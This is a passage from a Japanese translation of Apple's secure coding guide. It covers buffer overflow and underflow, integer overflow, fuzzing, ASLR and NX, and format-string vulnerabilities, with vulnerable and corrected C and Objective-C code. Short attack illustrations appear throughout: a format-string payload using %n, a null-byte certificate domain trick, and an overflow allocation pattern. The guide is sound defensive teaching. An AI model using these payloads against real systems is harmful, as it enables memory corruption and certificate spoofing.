バッファのオーバーフローやアンダーフローの 回 避 文 字 列 の 操 作 表 2-1に Cの 一 般 的 な 文 字 列 操 作 関 数 のうち 使 用 を 避 けるべきものとその 代 替 を 示 します 表 2-1 使 用 を 避 けるべき 文 字 列 操 作 関 数 とその 代 替 使 用 を 避 けるべき 関 数 strcat strcpy strncat strncpy sprintf vsprintf gets その 代 替 strlcat strlcpy strlcat strlcpy snprintf( 注 を 参 照 )またはasprintf vsnprintf( 注 を 参 照 )またはvasprintf fgets( 注 を 参 照 )またはCore FoundationやFoundationのAPIを 使 用 snprintfおよびvsnprintfのセキュリティに 関 する 注 : snprintfやvsnprintf およびその 変 種 は 正 しく 使 わないと 危 険 です strlcatと 同 様 に 最 大 でn-1バイトまでを 複 製 しますが 関 数 の 戻 り 値 は 充 分 に 大 きなnを 指 定 して 印 字 した 場 合 の 長 さになります したがって 戻 り 値 を 調 べて 末 尾 のヌルの 位 置 や 実 際 に 複 製 されたバイト 数 を 判 断 すること はできません fgetsのセキュリティに 関 する 注 : fgets 関 数 は 所 定 の 長 さのデータを 読 み 込 めますが 使 用 に 当 たっては 注 意 が 必 要 です その 代 替 欄 に 挙 げた 他 の 関 数 と 同 様 fgetsも 末 尾 にヌ ルを 埋 めます しかしほかと 違 って バッファ 長 ではなく 読 み 込 むべき 最 大 のバイト 数 を 引 数 として 指 定 します したがって バッファ 長 より1バイト 小 さい 値 を 渡 して ヌルを 埋 める 余 地 を 残 しておかな ければなりません そうしないと fgets 関 数 は 末 尾 の 次 の 位 置 にヌルを 置 いて 文 字 列 を 終 端 しようとするため バッファを 外 れた 場 所 を 上 書 きしてしまう 可 能 性 があるのです より 高 レベルの 文 字 列 操 作 インターフェイスを 用 いて オーバーフローを 防 止 することも 可 能 です C++の 場 合 :ANSI C++のstringクラスを 用 いればオーバーフローを 回 避 できます ただしASCII 以 外 のエンコーディング(UTF-8など)を 扱 うことはできません Objective-Cの 場 合 :NSStringクラスを 使 ってください なお NSStringをCの 文 字 列 に 変 換 し て POSIX 関 数 などCのルーチンに 渡 すことも 可 能 です 24

バッファのオーバーフローやアンダーフローの 回 避 バッファ 長 の 計 算 Cの 場 合 :Core Foundationの 文 字 列 表 現 であるCFStringと CFString APIに 属 する 文 字 列 操 作 関 数 を 使 ってください Core FoundationのCFStringと Core FoundationのNSStringとは 相 互 乗 り 入 れ が 可 能 です すな わち Core Foundationの 型 は 同 等 のFoundationオブジェクトと 区 別 せずに 関 数 やメソッドを 介 し てやり 取 りできるのです したがって あるメソッドの 引 数 がNSString *である 場 合 CFStringRef 型 の 値 を 渡 してもよいことになります 同 様 に 引 数 型 がCFStringRefであれば NSStringのイン スタンスを 渡 しても 構 いません これはNSStringの 具 象 サブクラスにも 成 り 立 ちます この 文 字 列 表 現 の 使 い 方 や CFStringオブジェクトとNSStringオブジェクトの 相 互 変 換 については CFString Reference Foundation Framework Reference Carbon-Cocoa Integration Guide を 参 照 してください バッファ 長 の 計 算 固 定 長 のバッファを 扱 う 場 合 その 長 さをsizeof 演 算 子 で 数 え それ 以 上 のデータは 収 容 しないよ うにしてください 固 定 長 のバッファを 割 り 当 てるコードを 記 述 しても 将 来 のコード 保 守 作 業 で バッファ 長 を 変 更 した 時 関 係 箇 所 をすべて 間 違 いなく 修 正 できるとは 限 りません まず 表 2-2に 1024バイトの 文 字 列 バッファを 確 保 し 入 力 文 字 列 の 長 さを 調 べて 複 製 する 2つの 方 法 を 示 します 表 2-2 コード 例 バッファ 長 のハードコーディングを 避 ける 例 適 切 な 書 き 方 char buf[1024];... if (size <= 1023) {... } #define BUF_SIZE 1024... char buf[buf_size];... if (size < BUF_SIZE) {... } char buf[1024];... if (size < 1024) {... } char buf[1024];... if (size < sizeof(buf)) {... } 25

バッファのオーバーフローやアンダーフローの 回 避 バッファ 長 の 計 算 左 欄 に 示 す2つのコードも 宣 言 に 現 れるバッファ 長 が 将 来 にわたって 変 わらないのであれば 安 全 で す しかし 新 しい 版 でバッファ 長 のみを 変 更 し if 文 の 条 件 を 修 正 しなかった 場 合 オーバーフロー が 起 こりえます 右 欄 に より 安 全 な 書 き 方 を 示 します ひとつ 目 は バッファ 長 を 定 数 (マクロ)として 設 定 し if 文 にも 同 じ 定 数 を 記 述 する という 方 法 です もうひとつ バッファの 宣 言 にはそのまま 1024 と 記 述 し if 文 には 実 際 のバッファ 長 を 求 める 演 算 子 を 記 述 する というやり 方 もあります どちらも バッファ 長 を 変 更 してもif 文 の 検 査 は 正 しく 機 能 します 表 2-3に ファイル 名 に 拡 張 子.ext を 付 加 する 関 数 の 例 を 示 します 表 2-3 コード 例 { 安 全 でない 文 字 列 連 結 を 避 ける 例 適 切 な 書 き 方 { char file[max_path];... addsfx(file);... } static *suffix = ".ext"; char *addsfx(char *buf) { return strcat(buf, suffix); } char file[max_path];... addsfx(file, sizeof(file));... } static *suffix = ".ext"; size_t addsfx(char *buf, uint size) { size_t ret = strlcat(buf, suffix, size); if (ret >= size) { fprintf(stderr, "Buffer too small...\n"); } return ret; } いずれも パス 長 の 最 大 値 をバッファ 長 として 使 っています 左 欄 のコードは ファイル 名 がこの 長 さを 超 えることはないと 想 定 し 文 字 列 長 を 確 認 することなく 拡 張 子 を 付 加 しています より 安 全 な 右 欄 の 版 では strlcat 関 数 を 使 って バッファ 長 を 超 えてしまった 場 合 は 切 り 詰 めるようにしてい ます 26

バッファのオーバーフローやアンダーフローの 回 避 整 数 のオーバーフロー/アンダーフローの 回 避 Important: バッファ 長 や 収 容 するデータ 長 を 計 算 する 際 には 符 号 なしの 変 数 (size_t 型 など) を 使 わなければなりません 負 の 数 値 は 符 号 なし 変 数 では 大 きな 値 の 正 数 として 扱 われるので 符 号 ありの 変 数 を 使 った 場 合 攻 撃 者 は 大 きな 値 をプログラムに 書 き 込 むことにより バッファ 長 やデータ 長 の 誤 計 算 を 引 き 起 こす 可 能 性 があります 整 数 演 算 に 関 連 して 起 こりうる 問 題 につ いて 詳 しくは 整 数 のオーバーフロー/アンダーフローの 回 避 (27 ページ)を 参 照 してくださ い この 問 題 の 詳 細 や 問 題 を 起 こしうる 他 の 関 数 については Secure Programming for Linux and Unix HOWTO (Wheeler http://www.dwheeler.com/secure-programs/で 入 手 可 )を 参 照 してください 整 数 のオーバーフロー/アンダーフローの 回 避 ユーザが 指 定 したデータをもとにバッファ 長 を 計 算 する 場 合 悪 意 あるユーザが 整 数 型 で 表 現 でき る 範 囲 を 超 える 大 きな 数 値 を 与 えることにより プログラムのクラッシュその 他 の 問 題 を 引 き 起 こす 恐 れがあります 2の 補 数 を 用 いる 算 術 演 算 ( 最 近 の 多 くのCPUが 符 号 つき 整 数 演 算 に 採 用 している 方 式 )では 負 の 数 値 を その 絶 対 値 を 表 す2 進 表 現 のビットをすべて 反 転 して1を 加 える という 方 法 で 表 します 最 上 位 ビットが1ならば それは 負 数 です したがって 4バイト 符 号 つき 整 数 の 場 合 0x7fffffff = 2147483647ですが 0x80000000 = -2147483648となります すなわち 次 のような 計 算 が 成 り 立 つのです int 2147483647 + 1 = - 2147483648 符 号 なしの 数 しか 渡 されないと 想 定 しているところに 悪 意 あるユーザが 負 数 を 指 定 すれば プログ ラムはこれを 非 常 に 大 きな 数 値 と 解 釈 します 数 値 の 用 途 にもよりますが 仮 にその 長 さのバッファ を 確 保 しようとすれば メモリ 割 り 当 てに 失 敗 し あるいは 成 功 しても ヒープがオーバーフローを 起 こす 恐 れがあります たとえば 広 く 普 及 しているウェブブラウザの 旧 版 では 長 さとして 負 数 を 指 定 して 確 保 したJavaScriptの 配 列 にオブジェクトを 格 納 しようとすると メモリの 上 書 きが 起 こりまし た [CVE-2004-0361] 別 の 例 を 挙 げましょう バッファ 長 を 符 号 つきで 計 算 している 場 合 データブロックが 非 常 に 大 きけ れば 負 の 長 さとして 扱 われてしまいます したがって データがバッファ 長 を 超 えないことを 確 認 し ているとしても オーバーフローを 検 出 できないことがあるのです バッファ 長 の 計 算 方 法 によっては 負 と 看 做 される 値 を 指 定 したとき 本 来 よりも 小 さな 値 が 得 られ ます たとえば 最 低 でも1024バイトのバッファが 必 要 で ユーザが 指 定 した 値 に1024バイトを 加 え て 長 さを 計 算 しているとしましょう すると 攻 撃 者 が 非 常 に 大 きな 正 数 を 指 定 した 場 合 次 のよう に1024よりも 小 さな 値 が 得 られてしまいます 27

バッファのオーバーフローやアンダーフローの 回 避 整 数 のオーバーフロー/アンダーフローの 回 避 1024 + 4294966784 = 512 0x400 + 0xFFFFFE00 = 0x200 さらに 整 数 型 変 数 ( 符 号 つきか 符 号 なしかを 問 わず)がオーバーフローを 起 こした 場 合 あふれた ビットは 無 視 されます たとえば32ビット 整 数 を 使 って 計 算 すると 2**32 == 0となります 長 さ が0のバッファも 確 保 することは 可 能 で malloc(0)を 実 行 すると 小 さなブロックを 指 すポインタが 得 られます したがって 攻 撃 者 が 巧 みに バッファ 長 として2**32の 倍 数 が 得 られるような 計 算 を 誘 導 しても この 時 点 ではエラーになりません すなわち nとmに (n * m) mod 2**32 == 0とな るような 値 を 与 えた 場 合 n*mバイトのバッファを 確 保 しようとすると 非 常 に 小 さな 長 さ(アーキ テクチャに 依 存 )のバッファを 指 す 有 効 なポインタが 得 られます その 結 果 確 実 にバッファの オーバーフローが 起 こるでしょう これを 回 避 するためには バッファ 長 を 計 算 する 際 必 ず 数 値 範 囲 の 検 査 を 行 い 整 数 のオーバーフ ローが 起 こらないようにしなければなりません よくある 誤 りとして オーバーフローを 考 慮 せずに 乗 算 その 他 の 演 算 結 果 を 検 査 する というもの があります size_t bytes = n * m; if (bytes < n bytes < m) { /* 不 正 不 正 不 正 */... /* bytesで 表 される 長 さのバッファを 確 保 */ } 残 念 ながらCの 仕 様 では このような 検 査 コードをコンパイラが 最 適 化 してもよいことになっていま す [CWE-733, CERT VU#162289] したがって 整 数 のオーバーフローが 起 こっていないか 確 かめるため には 取 りうる 最 大 値 を 乗 数 で 割 ってその 結 果 を 被 乗 数 と 比 べる(あるいは 乗 数 と 被 乗 数 の 役 割 を 入 れ 替 える)しかありません 除 算 結 果 が 被 乗 数 よりも 小 さければ 2つの 値 を 掛 け 合 わせるとオーバー フローが 発 生 することになります コード 例 を 示 します size_t bytes = n * m; if (n > 0 && m > 0 && SIZE_MAX/n >= m) {... /* bytesで 表 される 長 さのバッファを 確 保 */ } 28

バッファのオーバーフローやアンダーフローの 回 避 バッファオーバーフローの 検 出 バッファオーバーフローの 検 出 バッファオーバーフローが 起 こらないか 確 認 するためには プログラムが 入 力 を 受 け 付 ける 箇 所 それ ぞれについて 本 来 よりも 大 量 のデータを 投 入 してみるとよいでしょう また グラフィックスや 音 声 データなど 標 準 的 な 形 式 のデータを 受 け 付 けるプログラムには 不 正 な 形 式 のデータを 渡 してみ てください このテスト 手 法 をファジングと 言 います オーバーフローが 発 生 すれば 最 終 的 にプログラムはクラッシュします( 残 念 ながら 上 書 きされた データを 実 際 に 使 う 時 点 まで しばらくは 生 き 延 びます) クラッシュログには オーバーフローが 原 因 であったという 痕 跡 が 見 つかるかも 知 れません たとえば 大 文 字 の A を 含 む 文 字 列 をたて 続 けに 入 力 した 場 合 クラッシュログには そのASCIIコードである41が 繰 り 返 し 現 れるブロックが あるでしょう( 図 2-2を 参 照 ) プログラムがある 場 所 にジャンプしようとして そのアドレスが 実 際 にはASCII 文 字 列 であった 場 合 オーバーフローがクラッシュの 原 因 であると 推 測 できます 図 2-5 バッファオーバーフロー 時 のクラッシュログ Exception: EXC_BAD_ACCESS (0x0001) Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414140 Thread 0 Crashed: Thread 0 crashed with PPC Thread State 64: srr0: 0x0000000041414140 srr1: 0x000000004200f030 vrsave: 0x0000000000000000 cr: 0x48004242 xer: 0x0000000020000007 1r: 0x0000000041414141 ctr: 0x000000009077401c r0: 0x0000000041414141 r1: 0x00000000bfffe660 r2: 0x0000000000000000 r3: 000000000000000001 r4: 0x0000000000000041 r5: 0x00000000bfffdd50 r6: 0x0000000000000052 r7: 0x00000000bfffe638 r8: 0x0000000090774028 r9: 0x00000000bfffddd8 r10: 0x00000000bfffe380 r11: 0x0000000024004248 r12: 0x000000009077401c r13: 0x00000000a365c7c0 r14: 0x0000000000000100 r15: 0x0000000000000000 r16: 0x00000000a364c75c r17: 0x00000000a365c75c r18: 0x00000000a365c75c r19: 0x00000000a366c75c r20: 0x0000000000000000 r21: 0x0000000000000000 r22: 0x00000000a365c75c r23: 0x000000000034f5b0 r24: 0x00000000a3662aa4 r25: 0x000000000054c840 r26: 0x00000000a3662aa4 r27: 0x0000000000002f44 r28: 0x000000000034c840 r29: 0x0000000041414141 r30: 0x0000000041414141 r31: 0x0000000041414141 オーバーフローが 起 こりうる 箇 所 があれば 攻 撃 の 標 的 になりうると 判 断 し 修 正 しなければなりま せん そうはならないと 証 明 するよりも バグを 修 正 する 方 がはるかに 容 易 です さらに オーバー フローが 起 こることは 確 認 できても 決 して 起 こらないと 証 明 することは 不 可 能 です したがって 必 要 ならば 入 力 データやバッファ 長 の 計 算 コードを 注 意 深 く 検 査 してください ファジングについて 詳 しくは 入 力 の 検 証 とプロセス 間 通 信 (35 ページ)の ファジング (Fuzzing) (42 ページ)を 参 照 してください 29

バッファのオーバーフローやアンダーフローの 回 避 バッファアンダーフローの 回 避 バッファアンダーフローの 回 避 バッファアンダーフローが 発 生 するのは 基 本 的 に バッファ 長 やそのデータに 関 して コード 中 の 2つの 箇 所 に 齟 齬 がある 場 合 です たとえば Cの 固 定 長 文 字 列 変 数 に256バイト 分 の 領 域 があるのに 実 際 には12バイト 分 の 文 字 列 しか 入 っていない という 状 況 です バッファがアンダーフロー 状 態 であっても それだけで 危 険 であるとは 限 りません データの 操 作 コードが 一 貫 していなければ 正 しく 処 理 できない という 状 況 が 危 険 なのです よく 現 れるのは バッファに 読 み 込 んで 別 のメモリブロックに 複 製 する ネットワーク 接 続 を 介 して 送 信 する といっ た 場 合 です バッファアンダーフローに 関 する 脆 弱 性 は 大 きく 書 き 出 し 不 足 と 読 み 込 み 不 足 の2つに 分 類 できます 書 き 出 し 不 足 脆 弱 性 は バッファ 長 に 比 べて 書 き 出 すデータが 短 く バッファ 全 体 を 埋 め 尽 くさ ない 場 合 に 発 生 します その 結 果 旧 データの 一 部 が 書 き 出 し 後 にも 残 ってしまいます その 後 バッファ 全 体 に 対 する 処 理 (ディスクに 保 存 する ネットワーク 経 由 で 送 信 する など)をおこなう と 残 っていたデータも 対 象 となるのです 単 なる ごみ データなら 問 題 ありませんが 場 合 に よっては 情 報 漏 洩 につながるかも 知 れません さらに このような 形 のアンダーフローが 起 こったとき その 値 がプログラムの 流 れに 影 響 を 与 える ならば 不 正 な 動 作 を 招 く 恐 れがあります たとえばスタックに 過 去 の( 他 のユーザやアプリケー ションが 渡 した) 認 可 データが 残 っていた 場 合 認 証 や 認 可 の 手 続 きが 抜 けてしまうかも 知 れないの です 30

バッファのオーバーフローやアンダーフローの 回 避 バッファアンダーフローの 回 避 書 き 出 し 不 足 の 例 (システムコール): たとえば コマンドデータ 構 造 体 を 引 数 とす る UNIXのシステムコールを 考 えてみましょう この 構 造 体 には 認 可 トークンが 収 容 され るものとします この 構 造 体 には 長 さの 異 なる 複 数 の 版 があるため システムコールにはそ の 長 さも 引 数 として 指 定 します 認 可 データは 構 造 体 の 中 でもかなり 後 ろの 方 にあるとしま しょう 悪 意 あるアプリケーションは この 構 造 体 を 渡 してシステムコールを 実 行 する 際 認 可 トー クンの 直 前 までの 長 さを 指 定 します カーネルのシステムコールハンドラは copyinを 実 行 して アプリケーションから 渡 された 所 定 のバイト 数 のデータを カーネルのアドレス 空 間 にあるデータ 構 造 体 に 複 製 します カーネルがこのデータ 構 造 体 にあらかじめ0を 充 塡 せ ず 長 さの 確 認 もしていなければ カーネル 側 メモリの 同 じアドレスに 前 回 のシステム コール 呼 び 出 し 時 に 渡 された 認 可 トークンが 残 っている 可 能 性 がわずかながらあります し たがって 攻 撃 者 は 本 来 ならば 許 されないはずの 処 理 を 実 行 できてしまうのです 読 み 込 み 不 足 脆 弱 性 は バッファの 一 部 しか 読 み 込 まなかった 場 合 に 発 生 します 読 み 込 んだ 内 容 をもとにプログラムが 何 らかの 判 断 をするならば あらゆる 誤 動 作 が 起 こりえます よくあるの は Cの 文 字 列 関 数 でバッファから 読 み 込 む 際 実 際 にはCの 有 効 な 文 字 列 が 入 っていなかった とい う 状 況 です Cの 文 字 列 とは 一 連 のバイト 並 びで ヌルで 終 端 するもののことです その 定 義 上 本 来 の 末 尾 よ り 前 にヌルのバイトを 入 れることはできません strlen strlcpy strdupなどcの 文 字 列 操 作 関 数 は 最 初 に 見 つかったヌルまでの 部 分 を 処 理 対 象 にします 本 来 のバッファ 長 は 関 知 しません これに 対 し CFStringRefオブジェクト Pascalの 文 字 列 CFDataRefで 表 されるBLOB(Binary Large OBject)などで 表 される 文 字 列 は 明 示 的 な 長 さ 情 報 を 持 つため 途 中 にヌルがあっても 構 いません これをCの 文 字 列 に 変 換 した 上 で 処 理 しようとすると 最 初 に 見 つかったヌルを 末 尾 と 判 断 するため 誤 動 作 になります 31

バッファのオーバーフローやアンダーフローの 回 避 バッファアンダーフローの 回 避 読 み 込 み 不 足 の 例 (SSLの 検 証 ): 数 年 前 多 くのSSLスタックで 読 み 込 み 不 足 に よる 脆 弱 性 が 見 つかりました 本 来 のドメイン 以 下 に 巧 妙 にサブドメインを 設 定 し これ に 対 してSSL 証 明 書 を 適 用 することにより 任 意 のドメインに 対 して 有 効 な 証 明 書 を 生 成 で きてしまったのです targetdomain.tld[null_byte].yourdomain.tld という 形 のサブドメインを 考 えてみま しょう 証 明 書 署 名 要 求 に 含 まれる 文 字 列 はPascal 形 式 なので 認 証 機 関 がこれを 素 直 に 解 釈 するな らば yourdomain.tld というドメインの 所 有 者 に 証 明 書 を 配 送 してよいか 確 認 を 取 るはずです 実 際 にドメインを 所 有 しているので これには 同 意 するでしょう その 結 果 件 の 少 々 不 自 然 なサブドメインに 対 して 有 効 な 証 明 書 が 手 に 入 ります しかし この 証 明 書 の 有 効 性 を 確 認 する 際 多 くのSSLスタックは 正 当 性 を 確 認 すること なく Pascal 文 字 列 をCの 文 字 列 に 変 換 します その 結 果 得 られる 文 字 列 には targetdomain.tld の 部 分 しかありません SSLスタックはこの 文 字 列 を ユーザが 要 求 したドメイン 名 と 比 較 するため targetdomain.tldというドメインに 対 して 有 効 な 証 明 書 と 判 断 します 場 合 によっては ブラウザが 扱 うあらゆるドメインに 対 して 有 効 な ワイルドカード 証 明 書 さえも 生 成 できます(たとえば *.com[null].yourdomain.tld はあらゆる.com ア ドレスに 合 致 ) 以 下 の 規 則 に 従 えば 多 くのアンダーフロー 攻 撃 は 防 御 可 能 です バッファはすべて 使 用 前 に0 充 塡 を 施 す こうすれば 以 前 の 重 要 な 情 報 が 残 ることはありま せん 常 に 戻 り 値 を 検 査 し 適 切 にエラー 処 理 を 施 す メモリ 確 保 や 初 期 化 の 関 数 (たとえばAuthorizationCopyRights)が 処 理 に 失 敗 した 場 合 得 られたデータを 評 価 しない( 前 回 のデータが 残 っているかも 知 れない) readその 他 のシステムコールは 戻 り 値 を 調 べて 実 際 に 読 み 込 んだバイト 数 を 判 断 する その 上 で: 定 義 済 みの 定 数 ではなく 実 際 に 読 み 込 んだ 長 さにもとづいて 処 理 するか または 想 定 どおりの 長 さでなければエラーとして 処 理 する write printfなどの 出 力 関 数 が データをすべて 書 き 出 さなかった 場 合 エラーメッセージを 表 示 する( 後 でこのデータを 読 み 戻 す 場 合 は 特 に 要 注 意 ) 長 さ 情 報 を 含 むデータ 構 造 体 を 扱 う 際 には 想 定 どおりの 長 さであることを 必 ず 確 認 する Cの 形 式 以 外 の 文 字 列 (CFStringRefオブジェクト NSStringオブジェクト CFDataRefオブジェ クト Pascal 文 字 列 など)は 可 能 な 限 りC 文 字 列 に 変 換 せず 元 の 形 式 のままで 処 理 する 32

バッファのオーバーフローやアンダーフローの 回 避 有 用 なセキュリティ 機 能 不 可 能 であれば 変 換 後 のC 文 字 列 の 長 さを 検 査 し あるいは 変 換 元 のデータにヌルが 含 まれて いないか 確 認 する バッファ 操 作 と 文 字 列 操 作 を 混 合 しない 不 可 能 であれば 変 換 後 のC 文 字 列 の 長 さを 検 査 し あるいは 変 換 元 のデータにヌルが 含 まれていないか 確 認 する 不 正 な 改 竄 や 切 り 詰 めを 防 止 できるような 形 でファイルを 保 存 する( 詳 しくは 競 合 状 態 と 安 全 な ファイル 操 作 (46 ページ)を 参 照 ) 整 数 のオーバーフロー/アンダーフローを 避 ける( 詳 しくは バッファ 長 の 計 算 (25 ページ)を 参 照 ) 有 用 なセキュリティ 機 能 OS XやiOSには スタックやバッファのオーバーフローが 起 こりにくいようにする 機 能 として アド レス 空 間 レイアウトのランダム 化 (ASLR Address Space Layout Randomization)と 実 行 不 可 能 なス タック/ヒープの 機 能 があります 以 下 この2つについて 簡 単 に 説 明 します アドレス 空 間 レイアウトのランダム 化 OS XやiOSの 最 近 の 版 では 可 能 な 限 り スタック ヒープ ライブラリ フレームワーク 実 行 コー ドを ソフトウェアを 実 行 する 都 度 異 なる 場 所 に 配 置 するようになっています これはバッファ オーバーフローを 悪 用 しにくくするための 措 置 です メモリ 中 のどの 位 置 にバッファがあるのか 推 測 が 困 難 になりますし ライブラリやその 他 のコードの 位 置 も 同 様 です アドレス 空 間 レイアウトのランダム 化 を 実 現 するためには コンパイラの 協 力 すなわち 位 置 非 依 存 コードの 生 成 が 必 要 です ターゲットがOS X v10.7 以 降 (-macosx_version_min)またはios v4.3 以 降 (-ios_version_min) であれば そのために 必 要 なフラグははじめからオンになっています -no_pie フラグを 指 定 することによりこの 機 能 を 解 除 できますが セキュリティ 向 上 のためにも どうしても 必 要 な 場 合 に 限 定 してください 上 記 以 前 のOSをターゲットとする 場 合 は -pie フラグで 位 置 非 依 存 コードを 生 成 するよう 明 示 的 に 指 定 します 実 行 不 可 能 なスタック/ヒープ 最 近 のプロセッサは オペレーティングシステムがNXビットを 設 定 することにより メモリ 中 のある 部 分 に 実 行 不 可 という 印 をつけられるようになっています 該 当 するメモリページ 上 のコードを 実 行 しようとすると 当 該 プログラムはクラッシュします 33

バッファのオーバーフローやアンダーフローの 回 避 有 用 なセキュリティ 機 能 OS XやiOSはこの 機 能 を 活 用 し スタックやヒープに 実 行 不 可 という 印 をつけます その 結 果 バッ ファオーバーフロー 攻 撃 は 難 しくなります 実 行 コードをスタックやヒープに 置 き これを 実 行 しよ うとしてもうまくいかないからです 注 意 : v10.7 以 前 でも 動 作 する32ビットOS Xアプリケーションの 場 合 実 行 不 可 の 印 をつけ るのはスタックだけです 多 くの 場 合 この 方 式 で 問 題 は 生 じないでしょう しかし JIT(Just-In-Time)コンパイラのように この 動 作 では 具 合 が 悪 い 場 合 が 稀 にあります スタック/ヒープ 上 のコードを 実 行 可 能 にする 手 段 は2つあります コンパイラに -allow_stack_execute フラグを 指 定 する 方 法 スタックが 実 行 可 能 になりま す(ヒープは 不 可 ) システムコールmprotectで 特 定 のメモリページに 実 行 可 能 である 旨 の 印 をつける 方 法 この 資 料 では これ 以 上 の 詳 細 には 触 れません 詳 しくはmprotectのマニュアルページを 参 照 して ください ヒープが 破 損 する 状 況 のデバッグ ヒープが 破 損 する というバグを 調 査 する 際 には libgmallocライブラリが 役 に 立 つでしょう ガー ドページその 他 の 技 法 により オーバーフローの 検 出 能 力 を 高 めます このライブラリを 組 み 込 む 際 には ターミナル(Terminal) で 次 のコマンドを 実 行 してください export DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib その 上 で ターミナル(Terminal) からソフトウェアを 実 行 します( 実 行 形 式 ファイル 自 身 を 起 動 す るか またはopenコマンドを 使 う) 詳 しくはlibgmallocのマニュアルページを 参 照 してください 34

入 力 の 検 証 とプロセス 間 通 信 セキュリティ 上 の 脆 弱 性 が 発 生 する 主 な 原 因 として プログラム 外 (ユーザ ファイル ネットワー ク 他 のプロセスなど)からの 入 力 をすべて 検 証 していない というものがあり これはますます 増 え 続 けています この 章 では 入 力 を 検 証 しないことにより 起 こりうる 問 題 と それを 回 避 するため のコーディング 技 法 を 説 明 します 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 自 ら 制 御 するのではない 情 報 源 からの 入 力 を 受 け 付 けるプログラムには 想 定 外 のデータが 渡 される 可 能 性 があります 入 力 を 検 証 していなければ プログラムがクラッシュし あるいは 攻 撃 者 が 注 入 したコードの 実 行 を 許 すなど さまざまな 問 題 が 起 こりえます 攻 撃 者 はこの 脆 弱 性 を 悪 用 して 次 のような 現 象 を 引 き 起 こします バッファオーバーフロー 書 式 文 字 列 の 脆 弱 性 URLコマンド コード 注 入 ソーシャルエンジニアリング Appleが 公 開 するセキュリティ 更 新 プログラムの 中 には 入 力 の 検 証 に 関 する 脆 弱 性 を 解 消 するもの が 数 多 くありました iphone 上 で Appleが 認 可 していないソフトウェアを 動 かす いわゆる 脱 獄 (jail break) 行 為 を 防 止 するものも 数 件 あります この 種 の 脆 弱 性 は 頻 繁 に 見 つかり 容 易 に 攻 撃 で きることが 多 い 代 わり 通 常 は 修 正 も 簡 単 です バッファオーバーフローの 引 き 金 ユーザその 他 信 頼 できない 情 報 源 からの 入 力 を 受 け 付 けるアプリケーションは 固 定 長 バッファに データを 複 製 する 場 合 常 に 長 さを 検 査 し 必 要 ならば 切 り 詰 めなければなりません これを 怠 る と 攻 撃 者 は 入 力 欄 を 悪 用 して バッファオーバーフローを 引 き 起 こしてしまいます 詳 しくは バッ ファのオーバーフローやアンダーフローの 回 避 (18 ページ)を 参 照 してください 35

入 力 の 検 証 とプロセス 間 通 信 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 書 式 文 字 列 攻 撃 ユーザその 他 信 頼 できない 情 報 源 からの 入 力 を 受 け 付 けて 表 示 する 場 合 表 示 ルーチンがこの 入 力 を そのまま 書 式 文 字 列 として 処 理 することのないよう 注 意 しなければなりません たとえば 次 の コードでは syslog 用 の 標 準 Cライブラリ 関 数 を 使 って 受 信 したHTTP 要 求 をシステムログに 出 力 し ています syslog 関 数 は 引 数 として 書 式 文 字 列 を 受 け 付 ける 仕 様 になっているので 入 力 パケット (pktbuf)に 任 意 の 書 式 文 字 列 を 与 え 処 理 させることができます /* HTTPパケットの 受 信 */ int size = recv(fd, pktbuf, sizeof(pktbuf), 0); if (size) { syslog(log_info, "Received new HTTP request!"); syslog(log_info, pktbuf); } 問 題 を 起 こしうる 書 式 文 字 列 が 多 数 あります たとえば 攻 撃 者 が 入 力 パケットに 次 のような 文 字 列 を 与 えたとしましょう "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n" するとsyslogは この 書 式 文 字 列 にもとづき スタックから 値 を8つ 取 り 出 そうとします 書 式 文 字 列 自 身 もスタックに 格 納 されているとすると スタックの 構 成 によっては 実 質 的 にスタックポインタ を 書 式 文 字 列 の 先 頭 に 戻 すように 動 作 します 文 字 列 中 に %n というトークンがあるので この 箇 所 までに 出 力 したバイト 数 を 調 べ 次 の 引 数 に 格 納 されたアドレス 位 置 に 書 き 出 そうとします した がって 32ビットアーキテクチャであれば 書 式 文 字 列 の AAAA という 部 分 を0x41414141という ポインタ 値 として 扱 い このアドレス 位 置 に76という 数 値 を 上 書 きすることになります 通 常 は 次 にシステムが 当 該 メモリ 位 置 にアクセスした 時 点 でクラッシュするだけですが デバイスや OSに 応 じて 巧 妙 に 文 字 列 をあやつれば 攻 撃 者 は 任 意 のアドレス 位 置 に 任 意 のデータを 書 き 出 せま す 書 式 文 字 列 の 構 文 について 詳 しくは printfのマニュアルページを 参 照 してください 書 式 文 字 列 攻 撃 を 回 避 するため 入 力 データをそのまま 書 式 文 字 列 の 一 部 として 扱 わないようにして ください これは 該 当 する 引 数 に 入 力 データではなく 別 途 用 意 した 書 式 文 字 列 を 渡 すことにより 行 います たとえば printf(buffer) という 関 数 呼 び 出 しは 標 的 になりえますが printf("%s", buffer) 36

入 力 の 検 証 とプロセス 間 通 信 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 と 記 述 すれば 解 決 します この 場 合 引 数 buffer 内 の 文 字 はパーセント 記 号 (%)を 含 めてすべて 書 式 トークンとは 解 釈 されず そのまま 出 力 されます 誤 って 書 式 文 字 列 による 整 形 処 理 を2 回 以 上 適 用 すると 厄 介 な 状 態 になります 次 の 例 は NSString のstringWithFormat:メソッドの 戻 り 値 を NSAlertの alertwithmessagetext:defaultbutton:alternatebutton:otherbutton:informativetextwithformat: メソッドに 引 数 informativetextwithformatとして 渡 す という 誤 りを 犯 しています その 結 果 整 形 処 理 が 重 複 しています インポートした 証 明 書 からデータを 取 得 し それを 埋 め 込 んだ 文 字 列 を 改 めてNSAlertメソッドに 書 式 文 字 列 として 渡 しているのです alert = [NSAlert alertwithmessagetext:"certificate Import Succeeded" defaultbutton:"ok" alternatebutton:nil otherbutton:nil informativetextwithformat:[nsstring stringwithformat: /* 不 正 不 正 不 正 */ @"The imported certificate \"%@\" has been selected in the certificate pop-up.", [selectedcert identifier]]]; [alert setalertstyle:nsinformationalalertstyle]; [alert runmodal]; 正 しくは 次 のように 1 回 だけ 整 形 するようにしなければなりません alert = [NSAlert alertwithmessagetext:"certificate Import Succeeded" defaultbutton:"ok" alternatebutton:nil otherbutton:nil informativetextwithformat:@"the imported certificate \"%@\" has been selected in the certificate pop-up.",... [selectedcert identifier]]; 書 式 文 字 列 攻 撃 の 標 的 になりうる 主 な 関 数 やメソッドとして 次 のようなものがあります 標 準 C printfおよびprintf(3)のマニュアルページに 挙 げられている 関 数 群 sscanfおよびscanf(3)のマニュアルページに 挙 げられている 関 数 群 37

